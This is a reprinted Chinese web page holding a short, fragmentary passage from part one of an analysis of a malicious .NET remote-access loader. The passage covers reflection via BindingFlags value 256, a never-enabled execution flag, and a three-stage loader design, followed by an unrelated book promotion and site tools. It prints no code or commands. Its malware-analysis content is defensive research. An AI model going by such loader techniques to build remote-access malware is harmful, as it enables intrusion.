对DOTNET(.NET)中的恶意远程访问进程进行分析(上)

请注意,反编译代码中没有代码BindingFlags.InvokeMethod,使用的是value 256用于反编译代码。该值就是代码中使用的枚举值。由于Visual Studio无法处理枚举的直接值,因此它已被替换,确切的值可以在 这里 找到。

此外,按照逻辑,最后一个if语句中的内容此时应该被调整为Visual Studio里的合适函数,但实际情况却并非如此,这可能是恶意软件仍在进一步研发的另一个标识。默认情况下,决定执行此命令的标志会设置为false(并且永远不会更改),这就是为什么执行永远不会发生的原因。

其中的代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。

本文所讲的示例中,加载程序共分了三个阶段,其中阶段三又分为两部分,本篇先将前两个阶段,第三阶段会在下篇讲到。


以上所述就是小编给大家介绍的《对DOTNET(.NET)中的恶意远程访问进程进行分析(上)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

微服务设计

微服务设计

[英] Sam Newman / 崔力强、张 骏 / 人民邮电出版社 / 2016-5 / 69.00元

本书全面介绍了微服务的建模、集成、测试、部署和监控,通过一个虚构的公司讲解了如何建立微服务架构。主要内容包括认识微服务在保证系统设计与组织目标统一上的重要性,学会把服务集成到已有系统中,采用递增手段拆分单块大型应用,通过持续集成部署微服务,等等。一起来看看 《微服务设计》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具